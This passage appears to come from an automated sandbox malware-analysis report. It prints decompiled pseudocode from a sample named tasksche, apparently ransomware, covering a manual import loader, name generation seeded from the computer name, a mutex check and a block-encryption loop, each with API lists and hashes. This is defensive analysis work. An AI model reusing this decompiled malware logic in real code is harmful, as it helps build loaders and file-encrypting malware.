						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}




















                                                                                                                                                                0x004027e6
                                                                                                                                                                0x004027ee
                                                                                                                                                                0x004027ee
                                                                                                                                                                0x004027f1
                                                                                                                                                                0x004027f6
                                                                                                                                                                0x004027f7
                                                                                                                                                                0x004027fa
                                                                                                                                                                0x00402801
                                                                                                                                                                0x0040280d
                                                                                                                                                                0x0040281a
                                                                                                                                                                0x0040291c
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040291f
                                                                                                                                                                0x00402825
                                                                                                                                                                0x00402825
                                                                                                                                                                0x0040282a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402830
                                                                                                                                                                0x00402836
                                                                                                                                                                0x0040283a
                                                                                                                                                                0x00402840
                                                                                                                                                                0x004028fd
                                                                                                                                                                0x004028fd
                                                                                                                                                                0x00402903
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402903
                                                                                                                                                                0x00402846
                                                                                                                                                                0x00402851
                                                                                                                                                                0x00402854
                                                                                                                                                                0x0040285e
                                                                                                                                                                0x004028f0
                                                                                                                                                                0x004028f6
                                                                                                                                                                0x004028fd
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004028fd
                                                                                                                                                                0x00402864
                                                                                                                                                                0x0040286a
                                                                                                                                                                0x0040286d
                                                                                                                                                                0x00402870
                                                                                                                                                                0x00402873
                                                                                                                                                                0x00402877
                                                                                                                                                                0x00402889
                                                                                                                                                                0x0040288b
                                                                                                                                                                0x00402879
                                                                                                                                                                0x0040287e
                                                                                                                                                                0x00402881
                                                                                                                                                                0x00402881
                                                                                                                                                                0x0040288e
                                                                                                                                                                0x00402891
                                                                                                                                                                0x00402895
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040289c
                                                                                                                                                                0x004028ab
                                                                                                                                                                0x004028ab
                                                                                                                                                                0x004028b0
                                                                                                                                                                0x0040289e
                                                                                                                                                                0x0040289e
                                                                                                                                                                0x0040289e
                                                                                                                                                                0x004028a1
                                                                                                                                                                0x004028a1
                                                                                                                                                                0x004028b7
                                                                                                                                                                0x004028ba
                                                                                                                                                                0x004028bd
                                                                                                                                                                0x004028c1
                                                                                                                                                                0x004028cc
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004028c3
                                                                                                                                                                0x004028c3
                                                                                                                                                                0x004028c7
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004028c7
                                                                                                                                                                0x004028c1
                                                                                                                                                                0x004028d4
                                                                                                                                                                0x00402909
                                                                                                                                                                0x0040290f
                                                                                                                                                                0x00402916
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402916
                                                                                                                                                                0x004028d6
                                                                                                                                                                0x004028e4
                                                                                                                                                                0x00402822
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402822
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004028ea
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402825
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                                                                                                                                                                • realloc.MSVCRT(85000001,317459C0), ref: 00402854
                                                                                                                                                                • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Read$realloc
                                                                                                                                                                • String ID: ?!@
                                                                                                                                                                • API String ID: 1241503663-708128716
                                                                                                                                                                • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                                                                                                • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                                                                                                                                                                • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                                                                                                • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 86%
                                                                                                                                                                			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}





















                                                                                                                                                                0x0040122e
                                                                                                                                                                0x00401239
                                                                                                                                                                0x00401240
                                                                                                                                                                0x00401249
                                                                                                                                                                0x00401250
                                                                                                                                                                0x00401252
                                                                                                                                                                0x0040125f
                                                                                                                                                                0x0040126b
                                                                                                                                                                0x00401277
                                                                                                                                                                0x0040127e
                                                                                                                                                                0x00401280
                                                                                                                                                                0x00401286
                                                                                                                                                                0x00401289
                                                                                                                                                                0x0040128c
                                                                                                                                                                0x00401297
                                                                                                                                                                0x0040129d
                                                                                                                                                                0x00401286
                                                                                                                                                                0x004012a1
                                                                                                                                                                0x004012ae
                                                                                                                                                                0x004012b2
                                                                                                                                                                0x004012b4
                                                                                                                                                                0x004012b5
                                                                                                                                                                0x004012ba
                                                                                                                                                                0x004012be
                                                                                                                                                                0x004012c0
                                                                                                                                                                0x004012c0
                                                                                                                                                                0x004012c4
                                                                                                                                                                0x004012c5
                                                                                                                                                                0x004012ce
                                                                                                                                                                0x004012d1
                                                                                                                                                                0x004012d2
                                                                                                                                                                0x004012c0
                                                                                                                                                                0x004012d6
                                                                                                                                                                0x004012d9
                                                                                                                                                                0x004012dd
                                                                                                                                                                0x004012e1
                                                                                                                                                                0x004012e2
                                                                                                                                                                0x004012eb
                                                                                                                                                                0x004012ee
                                                                                                                                                                0x004012ee
                                                                                                                                                                0x004012f1
                                                                                                                                                                0x004012f4
                                                                                                                                                                0x004012fc

                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: rand$wcslen$ComputerNamesrand
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3058258771-0
                                                                                                                                                                • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                                                                                                • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                                                                                                                                                                • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                                                                                                • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}












                                                                                                                                                                0x0040707a
                                                                                                                                                                0x00407080
                                                                                                                                                                0x00407091
                                                                                                                                                                0x00407091
                                                                                                                                                                0x00407097
                                                                                                                                                                0x0040709a
                                                                                                                                                                0x0040709e
                                                                                                                                                                0x004070a5
                                                                                                                                                                0x004070a7
                                                                                                                                                                0x004070a9
                                                                                                                                                                0x004070ab
                                                                                                                                                                0x004070b1
                                                                                                                                                                0x004070b1
                                                                                                                                                                0x004070b3
                                                                                                                                                                0x004070b6
                                                                                                                                                                0x004070b7
                                                                                                                                                                0x004070bd
                                                                                                                                                                0x004070bf
                                                                                                                                                                0x004070ca
                                                                                                                                                                0x004070cf
                                                                                                                                                                0x004070df
                                                                                                                                                                0x004070e4
                                                                                                                                                                0x004070e7
                                                                                                                                                                0x004070f1
                                                                                                                                                                0x004070fb
                                                                                                                                                                0x00407101
                                                                                                                                                                0x0040710a
                                                                                                                                                                0x00407118
                                                                                                                                                                0x00407121
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040712c
                                                                                                                                                                0x00407121
                                                                                                                                                                0x00407135

                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
                                                                                                                                                                • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                                                                                                                                                                • memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
                                                                                                                                                                • strcpy.MSVCRT ref: 004070FB
                                                                                                                                                                • strcat.MSVCRT ref: 0040710A
                                                                                                                                                                • GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
                                                                                                                                                                • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2935503933-0
                                                                                                                                                                • Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                                                                                                • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                                                                                                                                                                • Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                                                                                                • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}







                                                                                                                                                                0x00401f16
                                                                                                                                                                0x00401f1c
                                                                                                                                                                0x00401f24
                                                                                                                                                                0x00401f4c
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401f26
                                                                                                                                                                0x00401f26
                                                                                                                                                                0x00401f31
                                                                                                                                                                0x00401f39
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401f40
                                                                                                                                                                0x00401f46
                                                                                                                                                                0x00401f4a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401f4a
                                                                                                                                                                0x00401f52
                                                                                                                                                                0x00401f5a
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseHandleMutexOpenSleepsprintf
                                                                                                                                                                • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                                                                                                                                                                • API String ID: 2780352083-2959021817
                                                                                                                                                                • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                                                                                                • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                                                                                                                                                                • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                                                                                                • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 59%
                                                                                                                                                                			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}





































                                                                                                                                                                0x00403a7f
                                                                                                                                                                0x00403a87
                                                                                                                                                                0x00403a91
                                                                                                                                                                0x00403a9a
                                                                                                                                                                0x00403a9f
                                                                                                                                                                0x00403aa0
                                                                                                                                                                0x00403aa0
                                                                                                                                                                0x00403aa5
                                                                                                                                                                0x00403aaa
                                                                                                                                                                0x00403bba
                                                                                                                                                                0x00403bc2
                                                                                                                                                                0x00403bcb
                                                                                                                                                                0x00403bd0
                                                                                                                                                                0x00403bd1
                                                                                                                                                                0x00403bd9
                                                                                                                                                                0x00403bda
                                                                                                                                                                0x00403bdb
                                                                                                                                                                0x00403bdc
                                                                                                                                                                0x00403be0
                                                                                                                                                                0x00403be3
                                                                                                                                                                0x00403be6
                                                                                                                                                                0x00403be9
                                                                                                                                                                0x00403bee
                                                                                                                                                                0x00403bf1
                                                                                                                                                                0x00403bf4
                                                                                                                                                                0x00403bf6
                                                                                                                                                                0x00403bf6
                                                                                                                                                                0x00403bf9
                                                                                                                                                                0x00403bf9
                                                                                                                                                                0x00403bfc
                                                                                                                                                                0x00403c00
                                                                                                                                                                0x00403c02
                                                                                                                                                                0x00403c02
                                                                                                                                                                0x00403c06
                                                                                                                                                                0x00403c0e
                                                                                                                                                                0x00403c0e
                                                                                                                                                                0x00403c12
                                                                                                                                                                0x00403c17
                                                                                                                                                                0x00403c1a
                                                                                                                                                                0x00403c1f
                                                                                                                                                                0x00403c26
                                                                                                                                                                0x00403c28
                                                                                                                                                                0x00403c2b
                                                                                                                                                                0x00403c2e
                                                                                                                                                                0x00403c2e
                                                                                                                                                                0x00403c33
                                                                                                                                                                0x00403c3c
                                                                                                                                                                0x00403c41
                                                                                                                                                                0x00403c44
                                                                                                                                                                0x00403c47
                                                                                                                                                                0x00403c47
                                                                                                                                                                0x00403c4a
                                                                                                                                                                0x00403c50
                                                                                                                                                                0x00403c52
                                                                                                                                                                0x00403c58
                                                                                                                                                                0x00403c5b
                                                                                                                                                                0x00403c5d
                                                                                                                                                                0x00403c5d
                                                                                                                                                                0x00403c63
                                                                                                                                                                0x00403c63
                                                                                                                                                                0x00403c66
                                                                                                                                                                0x00403c6a
                                                                                                                                                                0x00403c6c
                                                                                                                                                                0x00403c6c
                                                                                                                                                                0x00403c70
                                                                                                                                                                0x00403c78
                                                                                                                                                                0x00403c78
                                                                                                                                                                0x00403c7c
                                                                                                                                                                0x00403c81
                                                                                                                                                                0x00403c84
                                                                                                                                                                0x00403c89
                                                                                                                                                                0x00403c90
                                                                                                                                                                0x00403c92
                                                                                                                                                                0x00403c95
                                                                                                                                                                0x00403c98
                                                                                                                                                                0x00403c98
                                                                                                                                                                0x00403c9d
                                                                                                                                                                0x00403ca6
                                                                                                                                                                0x00403cab
                                                                                                                                                                0x00403cb1
                                                                                                                                                                0x00403cb1
                                                                                                                                                                0x00403c9d
                                                                                                                                                                0x00403cb7
                                                                                                                                                                0x00403cbd
                                                                                                                                                                0x00403cc7
                                                                                                                                                                0x00403ab0
                                                                                                                                                                0x00403ab0
                                                                                                                                                                0x00403abc
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00403ac2
                                                                                                                                                                0x00403ac6
                                                                                                                                                                0x00403b2c
                                                                                                                                                                0x00403b2f
                                                                                                                                                                0x00403b32
                                                                                                                                                                0x00403b35
                                                                                                                                                                0x00403b38
                                                                                                                                                                0x00403b8d
                                                                                                                                                                0x00403b91
                                                                                                                                                                0x00403b93
                                                                                                                                                                0x00403b97
                                                                                                                                                                0x00403b9c
                                                                                                                                                                0x00403ba7
                                                                                                                                                                0x00403ba9
                                                                                                                                                                0x00403bab
                                                                                                                                                                0x00403bad
                                                                                                                                                                0x00403bb0
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00403b93
                                                                                                                                                                0x00403b3a
                                                                                                                                                                0x00403b3c
                                                                                                                                                                0x00403b40
                                                                                                                                                                0x00403b42
                                                                                                                                                                0x00403b4c
                                                                                                                                                                0x00403b55
                                                                                                                                                                0x00403b68
                                                                                                                                                                0x00403b6d
                                                                                                                                                                0x00403b78
                                                                                                                                                                0x00403b7b
                                                                                                                                                                0x00403b7d
                                                                                                                                                                0x00403b7f
                                                                                                                                                                0x00403b81
                                                                                                                                                                0x00403b84
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00403b42
                                                                                                                                                                0x00403b40
                                                                                                                                                                0x00403ac8
                                                                                                                                                                0x00403acb
                                                                                                                                                                0x00403ace
                                                                                                                                                                0x00403ad0
                                                                                                                                                                0x00403ad3
                                                                                                                                                                0x00403ad8
                                                                                                                                                                0x00403ada
                                                                                                                                                                0x00403ade
                                                                                                                                                                0x00403aed
                                                                                                                                                                0x00403b00
                                                                                                                                                                0x00403b05
                                                                                                                                                                0x00403b10
                                                                                                                                                                0x00403b13
                                                                                                                                                                0x00403b15
                                                                                                                                                                0x00403b17
                                                                                                                                                                0x00403b19
                                                                                                                                                                0x00403b1c
                                                                                                                                                                0x00403ada
